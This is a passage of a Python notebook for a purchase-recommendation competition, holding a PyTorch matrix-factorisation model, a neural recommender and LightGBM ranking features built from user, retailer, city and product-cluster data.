os.path.join(DIR, 'ranker_model1.pkl')\nRANKER_MODEL2_PATH = os.path.join(DIR, 'ranker_model2.pkl')\n\nMF_MODEL_PATH = os.path.join(DIR, 'mf_model.pkl')\nNN_MODEL_PATH = os.path.join(DIR, 'nn_model.pkl')\nRECS_NN_TEST_PATH = os.path.join(DIR, 'recs_nn_test.parquet')\n\nTOPK_TEST_PATH = os.path.join(DIR, 'topk_test.parquet')\nTOPK_TEST1_PATH = os.path.join(DIR, 'topk_test1.parquet')\nTOPK_TEST2_PATH = os.path.join(DIR, 'topk_test2.parquet')\n\nNUM_CLUSTERS = 8000\nNUM_USERS = 1595239\nNUM_RETAILERS = 118\nNUM_CITIES = 148\n\nSUBMIT_PATH = os.path.join(DIR, 'submission.csv') # 'output/submission.csv'\n# -\n\nTOP_K_CLUSTERS = [ \n 937, 6849, 4873, 7052, 789, 4938, 5998, 5124, 4083, 345, 721,\n 4018, 6995, 3334, 4327, 7401, 3684, 292, 7454, 5452, 1023, 6674,\n 3366, 4236, 6983, 4647, 2214, 2895, 3205, 4031, 2578, 42, 7855,\n 931, 3107, 2000, 7532, 6761, 1131, 3717, 2351, 2728, 4929, 3027,\n 612, 21, 1902, 807, 4001, 3771, 1705, 602, 1020, 6428, 6699,\n 6271, 554, 4308, 7589, 7002, 1997, 696, 595, 6675, 1751, 923,\n 6711, 999, 1666, 1263, 919, 7602, 2285, 4543, 6051, 4540, 4828,\n 3543, 6928, 1886, 6029, 5320, 2924, 7449, 4906, 7757, 1077, 5378,\n 6189, 1747, 7691, 2595, 811, 103, 7043, 1339, 1574, 2570, 1249,\n 735, 3173, 4739, 2152, 2226, 6021, 7739, 7777, 5187, 5299, 2604,\n 6569, 5893, 466, 3483, 3640, 3870, 1442, 7114, 1338, 7747, 1867,\n 2702, 3046, 1182, 1409, 4663, 4932, 1570, 6053, 6071, 3733, 712,\n 3549, 6668, 1006, 4358, 4285, 3668, 885, 4129, 3293, 407, 4392,\n 3555, 5812, 129, 163, 3018, 7752, 6998, 5949, 1266, 6656, 2786,\n 2199, 2644, 4201, 3514, 6147, 4426, 7495, 5096, 5653, 341, 1826,\n 5380, 587, 4062, 6069, 2881, 1377, 6548, 2685, 2629, 7028, 6831,\n 7181, 3251, 3948, 1357, 4438, 1138, 7528, 6149, 7514, 4835, 3938,\n 1932, 3358, 2503, 11, 1623, 4028, 1890, 6696, 354, 960, 1765,\n 3699, 7636,\n]\n\n# +\nfrom typing import Iterable, List\n\nimport pickle\nimport torch\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import Dataset\nfrom sklearn.preprocessing import LabelEncoder\nimport scipy.sparse as sp\n\ntorch.manual_seed(0)\ntorch.cuda.manual_seed(0)\ntorch.cuda.manual_seed_all(0)\nnp.random.seed(0)\n\nclass MaxFactorDataset(Dataset):\n\n def __init__(\n self,\n users: Iterable[int],\n items: Iterable[int],\n device: str = 'cpu',\n ):\n self.device = device\n self.users = torch.LongTensor(users)\n self.items = torch.LongTensor(items)\n self.num_interactions = len(users)\n self.num_items = int(max(items) + 1)\n \n self.index = None\n self.batch_size = None\n self.neg_sample = None\n self.num_batches = None\n self.targets = None\n\n def init_params(self, batch_size: int, neg_sample: int):\n\n self.batch_size = batch_size\n self.neg_sample = neg_sample\n self.num_batches = int((self.num_interactions - 1) / batch_size + 1)\n self.targets = torch.zeros(self.batch_size, dtype=torch.long)\n\n def __getitem__(self, batch_num):\n\n i = batch_num * self.batch_size\n size = min(self.num_interactions - i, self.batch_size)\n\n index = self.index[i: i + size].to(self.device)\n items_pos = self.items[index].to(self.device)\n users = self.users[index].to(self.device)\n\n items_pos = items_pos.reshape(-1, 1)\n items_neg = torch.randint(high=self.num_items, size=(size, self.neg_sample), device=self.device)\n targets = self.targets[:size].to(self.device)\n\n return (\n users,\n items_pos,\n items_neg,\n targets,\n )\n\n def __iter__(self):\n self.index = torch.randperm(self.num_interactions)\n for i in range(self.num_batches):\n yield self[i]\n\n def __len__(self):\n return self.num_batches\n\n\nclass MaxFactorModel(torch.nn.Module):\n\n def __init__(\n self,\n num_users: int,\n num_items: int,\n dim: int,\n learning_rate: float,\n device: str = 'cpu',\n ):\n super().__init__()\n\n self.negative_sampling_batch_size = None\n self.hard_neg_sample = None\n self.device = device\n \n self.item_embeddings = torch.nn.Embedding(num_items, dim).to(self.device)\n self.user_embeddings = torch.nn.Embedding(num_users, dim).to(self.device)\n torch.nn.init.xavier_uniform_(self.item_embeddings.weight)\n torch.nn.init.xavier_uniform_(self.user_embeddings.weight)\n self.optimizer = torch.optim.Adagrad(self.parameters(), lr=learning_rate)\n\n def get_hard_negatives(self, users, items_neg):\n\n hard_negatives = []\n with torch.no_grad():\n for i in range(0, len(users), self.negative_sampling_batch_size):\n neg = self(\n users[i: i + self.negative_sampling_batch_size],\n items_neg[i: i + self.negative_sampling_batch_size],\n )\n topk = torch.topk(neg, self.hard_neg_sample)[1]\n hard_negatives.append(items_neg[i: i + self.negative_sampling_batch_size].gather(1, topk))\n items_neg = torch.cat(hard_negatives, dim=0)\n return items_neg\n\n def _fit(\n self,\n dataset: MaxFactorDataset,\n epochs: int,\n learning_rate: float,\n penalty_alpha: float,\n ):\n\n loss_function = torch.nn.CrossEntropyLoss()\n for epoch in range(epochs):\n \n for users, items_pos, items_neg, targets in dataset:\n self.optimizer.zero_grad()\n if self.hard_neg_sample:\n items_neg = self.get_hard_negatives(users, items_neg)\n items = torch.cat([items_pos, items_neg], dim=1)\n penalty = (((self.item_embeddings.weight ** 2).sum(1) - 1) ** 2).mean()\n score = self(users, items) \n loss = loss_function(score, targets) + penalty * penalty_alpha\n loss.backward()\n self.optimizer.step()\n\n def fit(\n self,\n dataset: MaxFactorDataset,\n epochs: int,\n batch_size: int,\n neg_sample: int,\n negative_sampling_batch_size: int = None,\n hard_neg_sample: int = None,\n learning_rate: float = 0.015,\n penalty_alpha: float = 0.003,\n ):\n dataset.init_params(batch_size, neg_sample)\n self.negative_sampling_batch_size = negative_sampling_batch_size\n self.hard_neg_sample = hard_neg_sample\n\n self._fit(dataset, epochs, learning_rate, penalty_alpha)\n\n def forward(self, users: torch.LongTensor, items: torch.LongTensor) -> torch.FloatTensor:\n\n user_embeddings = self.user_embeddings(users).unsqueeze(2)\n item_embeddings = self.item_embeddings(items)\n score = torch.bmm(item_embeddings, user_embeddings).squeeze(2)\n\n return score\n\n def predict(self, users: torch.LongTensor, items: torch.LongTensor) -> torch.FloatTensor:\n\n user_embeddings = self.user_embeddings(users)\n item_embeddings = self.item_embeddings(items).t()\n score = torch.mm(user_embeddings, item_embeddings)\n\n return score\n\n def _create_recommendations(\n self,\n target_users: Iterable[int],\n target_items: Iterable[int],\n num_recommendations: int,\n ):\n target_users = torch.LongTensor(target_users).to(self.device)\n target_items = torch.LongTensor(target_items).to(self.device)\n\n topk = min(num_recommendations, target_items.shape[0])\n\n with torch.no_grad():\n res = self.predict(target_users, target_items)\n recom = torch.topk(res, topk)\n items = target_items[recom[1]].flatten()\n scores = recom[0].flatten()\n users = target_users.reshape(-1, 1).repeat(1, topk).flatten()\n\n users = users.cpu().detach().numpy()\n items = items.cpu().detach().numpy()\n scores = scores.cpu().detach().numpy()\n\n return users, items, scores\n\n def create_recommendations(\n self,\n target_users: Iterable[int],\n target_items: Iterable[int],\n num_recommendations: int,\n ) -> (np.array, np.array, np.array):\n \n num_batch_users = int(200 ** 3 / 4 / len(target_items))\n\n all_users = []\n all_items = []\n all_scores = []\n\n for i in range(0, len(target_users), num_batch_users):\n users, items, scores = self._create_recommendations(\n target_users[i:i + num_batch_users],\n target_items,\n num_recommendations,\n )\n\n all_users.append(users)\n all_items.append(items)\n all_scores.append(scores)\n\n all_users = np.hstack(all_users)\n all_items = np.hstack(all_items)\n all_scores = np.hstack(all_scores)\n\n return all_users, all_items, all_scores\n \n \nclass MaxFactorRecommender:\n\n def __init__(self, config):\n self.config = config\n\n self.cnt = {}\n self.user_encoder = LabelEncoder()\n self.item_encoder = LabelEncoder()\n self.recs = None\n self.train_set = None\n self.dataset = None\n self.model = None\n self.already_seen = None\n\n def init_model(self):\n\n self.dataset = MaxFactorDataset(\n users=self.train_set['user'].values,\n items=self.train_set['item'].values,\n device=self.config['device'],\n )\n\n self.model = MaxFactorModel(\n num_users=self.cnt['users'],\n num_items=self.cnt['items'],\n dim=self.config['dim'],\n learning_rate=self.config['fit_params']['learning_rate'],\n device=self.config['device'],\n )\n\n def encode_ids(self):\n self.train_set['user'] = self.user_encoder.fit_transform(self.train_set['user_id'])\n self.train_set['item'] = self.item_encoder.fit_transform(self.train_set['cluster_id'])\n self.cnt['items'] = self.train_set.item.max() + 1\n self.cnt['users'] = self.train_set.user.max() + 1\n self.already_seen = self.get_user_item_id(\n user_col=self.train_set['user'],\n item_col=self.train_set['item'],\n ).drop_duplicates().values\n\n def decode_ids(self):\n self.recs['user_id'] = self.user_encoder.classes_[self.recs.user]\n self.recs['cluster_id'] = self.item_encoder.classes_[self.recs.item]\n\n def fit(self):\n self.model.fit(\n dataset=self.dataset,\n **self.config['fit_params'],\n )\n\n def torch_recommend(self, users):\n all_items = []\n all_users = []\n all_scores = []\n target_users = self.user_encoder.transform(users)\n target_items = np.arange(self.cnt['items'])\n users, items, scores = self.model.create_recommendations(\n target_users,\n target_items,\n self.config['num_recommendations'],\n )\n all_items.append(items.astype(np.uint16))\n all_users.append(users.astype(np.int32))\n all_scores.append(scores)\n\n all_items = np.hstack(all_items)\n all_users = np.hstack(all_users)\n all_scores = np.hstack(all_scores)\n\n self.recs = pd.DataFrame()\n self.recs['user'] = all_users\n self.recs['item'] = all_items\n self.recs['score'] = all_scores\n \n @staticmethod\n def get_user_item_id(user_col: pd.Series, item_col: pd.Series) -> pd.Series:\n return item_col.astype(np.int64) * (10 ** 8) + user_col\n \n @staticmethod\n def apply_rank(col, df):\n if len(df) == 0:\n return []\n _, index, num_ranges = np.unique(df[col], return_counts=True, return_index=True)\n num_ranges = num_ranges[index.argsort()]\n arange = np.arange(num_ranges.max(), dtype=int)\n ranks = np.hstack([arange[:i] for i in num_ranges])\n return ranks\n \n def filter_seen_recs(self):\n # self.recs['ui'] = self.get_user_item_id(\n # user_col=self.recs['user'],\n # item_col=self.recs['item'],\n # )\n # seen = self.recs.ui.isin(self.already_seen)\n # self.recs = self.recs[~seen]\n self.recs['rnk'] = self.apply_rank('user', self.recs)\n \n def create_recommendations(\n self,\n train_set: pd.DataFrame,\n users: Iterable[int],\n ) -> pd.DataFrame:\n \"\"\"\"\n :return\n pd.DataFrame({\n id: [1, 2, 3],\n cluster_id: [4, 5, 6],\n score: [0.1, 0.3, -0.2],\n rnk: [0, 1, 2],\n })\n \"\"\"\n self.train_set = train_set\n self.encode_ids()\n self.init_model()\n self.fit()\n self.torch_recommend(users)\n self.filter_seen_recs()\n self.decode_ids()\n return self.recs[['user_id', 'cluster_id', 'score']]\n\n\n# -\n\ndef create_recs_mf():\n test_ids = pd.read_csv(TEST_IDS_PATH)\n user_decoder = pickle.load(open(USER_DECODER_PATH, 'rb'))\n user_ecnoder = dict(zip(user_decoder, np.arange(len(user_decoder))))\n test_ids['user_id'] = test_ids['id'].map(user_ecnoder)\n\n recommender = pickle.load(open(MF_MODEL_PATH, 'rb'))\n\n recommender.torch_recommend(test_ids['user_id'])\n recommender.filter_seen_recs()\n recommender.decode_ids()\n recs_test = recommender.recs[['user_id', 'cluster_id', 'score']]\n\n recs_test.to_parquet(RECS_TEST_PATH)\n\n\n# !pip install memory_profiler\n\n# %load_ext memory_profiler\n\n# %%time\n# %%memit\ncreate_recs_mf()\n\n\nclass Model(torch.nn.Module):\n \n def __init__(self, device='cpu'):\n super().__init__()\n self.device = device\n dim = 2 * NUM_CLUSTERS + NUM_RETAILERS + NUM_CITIES\n self.linear = torch.nn.Linear(dim, 10000).to(self.device)\n self.linear2 = torch.nn.Linear(10000, NUM_CLUSTERS).to(self.device)\n torch.nn.init.xavier_uniform_(self.linear.weight)\n torch.nn.init.xavier_uniform_(self.linear2.weight)\n self.sigmoid = torch.nn.Sigmoid()\n self.relu = torch.nn.ReLU()\n \n def forward(self, x):\n return self.sigmoid(self.linear2(self.relu(self.linear(x))))\n\n\nclass Dataset:\n \n def __init__(self, x, y, users, batch_size, device='cuda'):\n \n self.batch_size = batch_size\n self.device = device\n self.x = x\n self.y = y\n self.users = users\n self.num_users = len(users)\n self.num_batches = int((self.num_users - 1) / batch_size + 1)\n \n def __getitem__(self, batch_num):\n \n i = batch_num * self.batch_size\n size = min(self.num_users - i, self.batch_size)\n users = self.users[i: i + size]\n if self.y is not None:\n return (torch.FloatTensor(self.x[users].todense()).to(self.device), \n torch.FloatTensor(self.y[users].todense()).to(self.device))\n else:\n return torch.FloatTensor(self.x[users].todense()).to(self.device), None\n \n def __iter__(self):\n np.random.shuffle(self.users)\n for i in range(self.num_batches):\n yield self[i]\n\n def __len__(self):\n return self.num_batches\n\n\n# +\ndef create_sparse_matrix(short_train, col, num_classes, use_ones=False):\n df = short_train[['user_id', col]].drop_duplicates()\n df[f'user_{col}'] = df['user_id'].astype(np.int64) * 10000 + df[col]\n df['user_col_count'] = df[f'user_{col}'].map(short_train[f'user_{col}'].value_counts()) \n df['user_count'] = df['user_id'].map(short_train['user_id'].value_counts()) \n df['user_col_share'] = df['user_col_count'] / df['user_count']\n if use_ones:\n return sp.csr_matrix((np.ones(len(df)), (df['user_id'], df[col])), shape=(NUM_USERS, num_classes))\n return sp.csr_matrix((df['user_col_share'], (df['user_id'], df[col])), shape=(NUM_USERS, num_classes))\n\ndef create_x_y(train_val, val=None):\n short_train = train_val[~train_val[['order_id', 'cluster_id']].duplicated()]\n short_train['user_retailer_id'] = short_train['user_id'].astype(np.int64) * 10000 + short_train['retailer_id']\n short_train['user_city_id'] = short_train['user_id'].astype(np.int64) * 10000 + short_train['city_id']\n short_train['user_cluster_id'] = short_train['user_id'].astype(np.int64) * 10000 + short_train['cluster_id']\n\n x1 = create_sparse_matrix(short_train, 'retailer_id', NUM_RETAILERS)\n x2 = create_sparse_matrix(short_train, 'city_id', NUM_CITIES)\n x3 = create_sparse_matrix(short_train, 'cluster_id', NUM_CLUSTERS)\n x4 = create_sparse_matrix(short_train, 'cluster_id', NUM_CLUSTERS, True)\n\n x = sp.hstack([x1, x2, x3, x4], format='csr')\n if val is not None:\n y = sp.csr_matrix((np.ones(len(val)), [val['user_id'], val['cluster_id']]), shape=(NUM_USERS, NUM_CLUSTERS))\n return x, y\n else:\n return x, None\n\n\n\n# -\n\ndef get_rec(model, dataset, topk=160):\n items = []\n scores = []\n losses = []\n with torch.no_grad():\n for x, y in dataset:\n score = model(x)\n recom = torch.topk(score, topk)\n items.append(recom[1].flatten().cpu().detach().numpy().astype(np.int16))\n scores.append(recom[0].flatten().cpu().detach().numpy())\n\n users = dataset.users.reshape(-1, 1).repeat(topk, 1).flatten()\n items = np.hstack(items)\n scores = np.hstack(scores)\n\n recs = pd.DataFrame()\n recs['user_id'] = users\n recs['cluster_id'] = items\n recs['scores'] = scores\n return recs\n\n\ndef create_recs_nn():\n config = {\n 'batch_size': 3000,\n 'device': 'cpu',\n }\n model = pickle.load(open(NN_MODEL_PATH, 'rb'))\n train_test = pd.read_parquet(TRAIN_TEST_PATH)\n test_ids = pd.read_csv(TEST_IDS_PATH)\n user_decoder = pickle.load(open(USER_DECODER_PATH, 'rb'))\n user_ecnoder = dict(zip(user_decoder, np.arange(len(user_decoder))))\n test_ids['user_id'] = test_ids['id'].map(user_ecnoder)\n \n x, y = create_x_y(train_test)\n dataset = Dataset(x, y, np.array(test_ids['user_id']).astype(np.int32), \n config['batch_size'], config['device'])\n recs = get_rec(model, dataset)\n recs.to_parquet(RECS_NN_TEST_PATH)\n\n\n# %%time\n# %%memit\ncreate_recs_nn()\n\n# +\nimport lightgbm\nimport pandas as pd\nimport numpy as np\nimport pickle\n\nfrom collections import defaultdict\n\ndef most_common(array):\n elements, counts = np.unique(array, return_counts=True)\n return elements[np.argpartition(counts, kth=-1)[-1]]\n\ndef apply_rank(col, df):\n if len(df) == 0:\n return []\n _, index, num_ranges = np.unique(df[col], return_counts=True, return_index=True)\n num_ranges = num_ranges[index.argsort()]\n arange = np.arange(num_ranges.max(), dtype=int)\n ranks = np.hstack([arange[:i] for i in num_ranges])\n return ranks\n\ndef get_mean_diff_dt(array):\n if len(array) == 1:\n return -1\n np_array = np.array(array)\n np_array[1:] - np_array[:-1]\n return (np_array[1:] - np_array[:-1]).mean()\n \ndef create_features_simple(table, train, users, clusters):\n table['count_item_id'] = (table.cluster_id.map(train['cluster_id'].value_counts()).fillna(0) / len(train)).astype(np.float32)\n\n table['num_orders'] = table['user_id'].map(\n train[['order_id', 'user_id']].drop_duplicates()['user_id'].value_counts()\n ).astype(np.int16)\n\n table['num_order_with_target_item'] = table['ui'].map(\n train[['order_id', 'ui']].drop_duplicates()['ui'].value_counts()\n ).fillna(0).astype(np.int16)\n \n last_order_ui = train[train.dt == \\\n train['user_id'].map(\n train[['user_id', 'dt']].drop_duplicates().groupby('user_id').max()['dt']\n )].ui.unique()\n\n table['was_in_last_order'] = table['ui'].isin(last_order_ui).astype(np.int8)\n del last_order_ui\n\n prod_quantity = train.groupby('ui')['product_quantity'].sum()\n table['prod_quantity'] = table['ui'].map(prod_quantity).fillna(0).astype(np.int16)\n del prod_quantity\n \n prev_order_ui = train['dt'].max() - train.groupby('ui')['dt'].max()\n table['prev_order_ui'] = table['ui'].map(prev_order_ui).fillna(-1).astype(np.float32)\n del prev_order_ui\n \n mask = ~train[['user_id', 'order_id']].duplicated()\n \n table['user_retailer_most_common'] = table['user_id'].map(\n train[mask].groupby('user_id').retailer_id.apply(most_common)\n ).astype(np.int8)\n \n user_city_most_common = table['user_id'].map(\n train[mask].groupby('user_id').city_id.apply(most_common)\n ).astype(np.int16)\n \n del mask\n \n item_city_vc = (train['cluster_id'] * 100 + train['city_id']).value_counts()\n item_user_city = table['cluster_id'] * 100 + user_city_most_common\n table['user_item_city_vc'] = item_user_city.map(item_city_vc).fillna(0).astype(np.float32)\n del item_city_vc\n del item_user_city\n \n for col in ['cluster_size', 'd_mean', 'd_median']:\n table['cluster_' + col] = table['cluster_id'].map(\n clusters.set_index('cluster_id')[col]\n )\n table['cluster_' + col] = table['cluster_id'].map(\n clusters.set_index('cluster_id')[col]\n )\n \n short_train = train[train.user_id.isin(users)]\n \n table['product_quantity_sum'] = table.user_id.map(\n short_train.groupby('user_id').product_quantity.sum()\n )\n table['user_retailer_num'] = table.user_id.map(\n short_train.groupby('user_id').retailer_id.nunique()\n ).astype(np.int8)\n table['user_city_num'] = table.user_id.map(\n short_train.groupby('user_id').city_id.nunique()\n ).astype(np.int8)\n table['user_product_price_mean'] = table.user_id.map(\n short_train.groupby('user_id').product_price.mean()\n )\n table['user_product_discount_mean'] = table.user_id.map(\n (short_train.product_discount != 0).groupby(short_train.user_id).mean()\n ).astype(np.float16)\n table['user_num_clusters'] = table['user_id'].map(\n short_train[['cluster_id', 'user_id']].drop_duplicates()['user_id'].value_counts()\n ).astype(np.int16)\n table['last_user_city_id'] = table['user_id'].map(\n short_train.groupby('user_id').city_id.last()\n )\n table['last_user_retailer_id'] = table['user_id'].map(\n short_train.groupby('user_id').retailer_id.last()\n )\n \n table['user_most_common_cluster_id'] = table['user_id'].map(\n short_train.groupby('user_id').cluster_id.apply(most_common)\n )\n del short_train\n \n mask = ~train[['user_id', 'order_id', 'cluster_id']].duplicated()\n\n table['cluster_quantity_mean'] = table['cluster_id'].map(\n train.groupby('cluster_id').product_quantity.mean().astype(np.float16)\n )\n\n table['cluster_city_count'] = table['cluster_id'].map(\n train[mask].groupby('cluster_id').city_id.nunique()\n ).astype(np.float16)\n \n table['cluster_num_stores'] = table['cluster_id'].map(\n train[mask].groupby('cluster_id').store_id.nunique()\n ).astype(np.float16)\n del mask\n\n table['cluster_product_price_mean'] = table['cluster_id'].map(\n train.groupby('cluster_id').product_price.mean()\n ).astype(np.float16)\n\n table['cluster_mean_discount'] = table['cluster_id'].map(\n (train.product_discount == 0).groupby(train.cluster_id).mean().astype(np.float16)\n )\n\n table['num_users_bought_cluster'] = table['cluster_id'].map(\n train.groupby('cluster_id').user_id.nunique()\n ).fillna(0).astype(np.float16)\n\n table['num_orders_cluster'] = table['cluster_id'].map(\n train.groupby('cluster_id').order_id.nunique()\n ).fillna(0).astype(np.float16)\n \n mask = ~train[['order_id', 'cluster_id']].duplicated()\n short_train = train[mask]\n\n city_retailer = short_train.city_id.astype(np.int16) * 100 + short_train.retailer_id\n city_retailer_cluster = city_retailer.astype(np.int64) * 10000 + short_train.cluster_id\n\n city_retailer_user = user_city_most_common.astype(np.int16) * 100 + \\\n table['user_retailer_most_common']\n city_retailer_cluster_user = city_retailer_user.astype(np.int64)*10000 + table.cluster_id\n\n table['f1'] = city_retailer_user.map(\n city_retailer.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f2'] = city_retailer_cluster_user.map(\n city_retailer_cluster.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f3'] = table['f2'] \\\n / table['f1'] \n \n \n del city_retailer_user\n del city_retailer_cluster_user\n\n city_retailer_user = table['last_user_city_id'].astype(np.int16) * 100 + \\\n table['last_user_retailer_id']\n city_retailer_cluster_user = city_retailer_user.astype(np.int64)*10000 + table.cluster_id\n\n f4 = city_retailer_user.map(\n city_retailer.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f5'] = city_retailer_cluster_user.map(\n city_retailer_cluster.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f6'] = table['f5'] \\\n / f4 \n del f4\n \n del city_retailer\n del city_retailer_user\n del city_retailer_cluster_user\n del city_retailer_cluster\n\n ui_vc = train.ui.value_counts()\n rnk_vc = train[['user_id', 'ui', 'cluster_id']].drop_duplicates()\n rnk_vc['vc'] = rnk_vc.ui.map(ui_vc)\n rnk_vc = rnk_vc.sort_values(['user_id', 'vc'], ascending=False)\n rnk_vc['rnk_user_id_ui'] = apply_rank('user_id', rnk_vc)\n table['rnk_user_id_ui'] = table.ui.map(rnk_vc.set_index('ui')['rnk_user_id_ui']\n ).fillna(10000).astype(np.int16)\n del ui_vc\n\n rnk_vc = rnk_vc.sort_values(['cluster_id', 'vc'], ascending=False)\n rnk_vc['rnk_cluster_id_ui'] = apply_rank('cluster_id', rnk_vc)\n table['rnk_cluster_id_ui'] = table.ui.map(rnk_vc.set_index('ui')['rnk_cluster_id_ui']\n ).fillna(10000).astype(np.int16)\n del rnk_vc\n\n rnk_vc = train['cluster_id'].value_counts().to_frame()\n rnk_vc['rnk_cluster_id'] = np.arange(len(rnk_vc))\n table['rnk_cluster_id'] = table.cluster_id.map(rnk_vc['rnk_cluster_id']\n ).fillna(10000).astype(np.int16)\n del rnk_vc\n\n cluster_city_vc = (train['city_id'].astype(np.int32) * 10000 + train['cluster_id']\n ).value_counts()\n rnk_vc = train[['city_id', 'cluster_id']].drop_duplicates()\n rnk_vc['cluster_city'] = rnk_vc['city_id'].astype(np.int32) * 10000 + rnk_vc['cluster_id']\n rnk_vc['vc'] = rnk_vc['cluster_city'].map(cluster_city_vc)\n rnk_vc = rnk_vc.sort_values(['city_id', 'vc'], ascending=False)\n rnk_vc['rnk_cluster_city'] = apply_rank('city_id', rnk_vc)\n user_city_cluster = table['last_user_city_id'].astype(np.int32) * 10000 \\\n + table['cluster_id']\n table['rnk_cluster_city'] = user_city_cluster.map(\n rnk_vc.set_index('cluster_city')['rnk_cluster_city']\n ).fillna(10000).astype(np.int16)\n del cluster_city_vc\n del rnk_vc\n del user_city_cluster\n\n cluster_retailer_vc = (train['retailer_id'].astype(np.int32) * 10000 + train['cluster_id']\n ).value_counts()\n rnk_vc = train[['retailer_id', 'cluster_id']].drop_duplicates()\n rnk_vc['cluster_retailer'] = rnk_vc['retailer_id'].astype(np.int32) * 10000 + rnk_vc['cluster_id']\n rnk_vc['vc'] = rnk_vc['cluster_retailer'].map(cluster_retailer_vc)\n rnk_vc = rnk_vc.sort_values(['retailer_id', 'vc'], ascending=False)\n rnk_vc['rnk_cluster_retailer'] = apply_rank('retailer_id', rnk_vc)\n user_retailer_cluster = table['last_user_retailer_id'].astype(np.int32) * 10000 \\\n + table['cluster_id']\n table['rnk_cluster_retailer'] = user_retailer_cluster.map(\n rnk_vc.set_index('cluster_retailer')['rnk_cluster_retailer']\n ).fillna(10000).astype(np.int16)\n user_retailer_cluster = table['user_retailer_most_common'].astype(np.int32) * 10000 \\\n + table['cluster_id']\n table['rnk_cluster_retailer2'] = user_retailer_cluster.map(\n rnk_vc.set_index('cluster_retailer')['rnk_cluster_retailer']\n ).fillna(10000).astype(np.int16)\n del cluster_retailer_vc\n del rnk_vc\n del user_retailer_cluster\n\n cluster_retailer_city_vc = (train['city_id'].astype(np.int64) * 10000000 + \\\n train['retailer_id'].astype(np.int64) * 10000 + \\\n train['cluster_id']).value_counts()\n rnk_vc = train[['retailer_id', 'cluster_id', 'city_id']].drop_duplicates()\n rnk_vc['cluster_retailer_city'] = (rnk_vc['city_id'].astype(np.int64) * 10000000 + \\\n rnk_vc['retailer_id'].astype(np.int64) * 10000 + \\\n rnk_vc['cluster_id'])\n rnk_vc['vc'] = rnk_vc['cluster_retailer_city'].map(cluster_retailer_city_vc)\n rnk_vc['retailer_city'] = (rnk_vc['city_id'].astype(np.int64) * 1000 + \\\n rnk_vc['retailer_id'].astype(np.int64))\n rnk_vc = rnk_vc.sort_values(['retailer_city', 'vc'], ascending=False)\n rnk_vc['rnk_cluser_city_retailer'] = apply_rank('retailer_city', rnk_vc)\n user_retailer_city_cluster = (table['last_user_city_id'].astype(np.int64) * 10000000 + \\\n table['last_user_retailer_id'].astype(np.int64) * 10000 + \\\n table['cluster_id'])\n table['rnk_cluster_retailer_city'] = user_retailer_city_cluster.map(\n rnk_vc.set_index('cluster_retailer_city')['rnk_cluser_city_retailer']\n ).fillna(10000).astype(np.int16)\n user_retailer_city_cluster = (table['last_user_city_id'].astype(np.int64) * 10000000 + \\\n table['user_retailer_most_common'].astype(np.int64) * 10000 + \\\n table['cluster_id'])\n table['rnk_cluster_retailer_city2'] = user_retailer_city_cluster.map(\n rnk_vc.set_index('cluster_retailer_city')['rnk_cluser_city_retailer']\n ).fillna(10000).astype(np.int16)\n del cluster_retailer_city_vc\n del rnk_vc\n del user_retailer_city_cluster\n\n \n return table\n\ndef create_table(train, recs_nn, recs_mf, users):\n \n recs_nn['rnk'] = apply_rank('user_id', recs_nn)\n recs_mf['rnk'] = apply_rank('user_id', recs_mf)\n\n mask1 = recs_nn['user_id'].isin(users)\n mask2 = ~recs_mf.ui.isin(recs_nn.ui) & recs_mf['user_id'].isin(users)\n mask3 = ~(train.ui.isin(recs_nn.ui) | train.ui.isin(recs_mf.ui) \\\n | train.ui.duplicated()) & train['user_id'].isin(users)\n \n table = pd.concat([\n recs_nn[['user_id', 'cluster_id']][mask1], \n recs_mf[['user_id', 'cluster_id']][mask2], \n train[['user_id', 'cluster_id']][mask3]\n ])\n table.reset_index(drop=True, inplace=True)\n del mask1\n del mask2\n del mask3\n table['ui'] = table['user_id'].astype(np.int64) * 10000 + table['cluster_id']\n \n table['rnk'] = table['ui'].map(\n recs_nn.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n \n table['score'] = table['ui'].map(\n recs_nn.set_index('ui')['scores']\n ).fillna(-100).astype(np.float32)\n \n recs_nn = recs_nn[~recs_nn.ui.isin(train.ui)]\n recs_nn['rnk2'] = apply_rank('user_id', recs_nn)\n table['rnk2'] = table['ui'].map(\n recs_nn.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n \n table['rnk3'] = table['ui'].map(\n recs_mf.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n \n table['score2'] = table['ui'].map(\n recs_mf.set_index('ui')['score']\n ).fillna(-100).astype(np.float32)\n \n recs_mf = recs_mf[~recs_mf.ui.isin(train.ui)]\n recs_mf['rnk2'] = apply_rank('user_id', recs_mf)\n table['rnk4'] = table['ui'].map(\n recs_mf.set_index('ui')['rnk2']\n ).fillna(10000).astype(np.int16)\n \n return table\n \n\n\n# +\ndef get_recs(pred, users, items, already_bought, weights, num_recs=20):\n fix_pred = pred * (1.37 - already_bought) * (weights ** 1.5)\n indexes = (-fix_pred).argsort()\n recs = defaultdict(list)\n for user_id, item_id in zip(users[indexes], items[indexes]):\n if len(recs[user_id]) < num_recs:\n recs[user_id].append(item_id)\n return recs\n\n\ndef get_cluster_weights(dataset: pd.DataFrame) -> pd.DataFrame:\n\n cluster_popularity = dataset[\"cluster_id\"].value_counts().sort_values(ascending=True).reset_index()\n cluster_popularity.columns = [\"cluster_id\", \"cnt\"]\n cluster_popularity[\"rank\"] = cluster_popularity[\"cnt\"].rank(method=\"dense\") + 1\n cluster_popularity[\"w\"] = 1 / np.log10(cluster_popularity[\"rank\"])\n\n return cluster_popularity[[\"cluster_id\", \"w\"]]\n\n\n# -\n\ndef get_table(train_path, recs_nn_path, recs_mf_path, \n users, create_features_func, val_path=None):\n\n train = pd.read_parquet(train_path)\n train['product_price'] = train['product_price'].astype(np.float16)\n train['product_discount'] = train['product_discount'].astype(np.float16)\n\n recs_nn = pd.read_parquet(recs_nn_path)\n recs_mf = pd.read_parquet(recs_mf_path)\n clusters = pd.read_parquet(CLUSTERS_PATH)\n \n for df in [train, recs_nn, recs_mf]:\n df['ui'] = df['user_id'].astype(np.int64) * 10000 + df['cluster_id']\n \n table = create_table(train, recs_nn, recs_mf, users)\n del recs_nn\n del recs_mf\n\n table = create_features_func(table, train, users, clusters)\n del train\n del clusters\n\n X = table.drop(['user_id', 'ui'], axis=1).to_numpy(dtype=np.float32)\n\n if val_path is 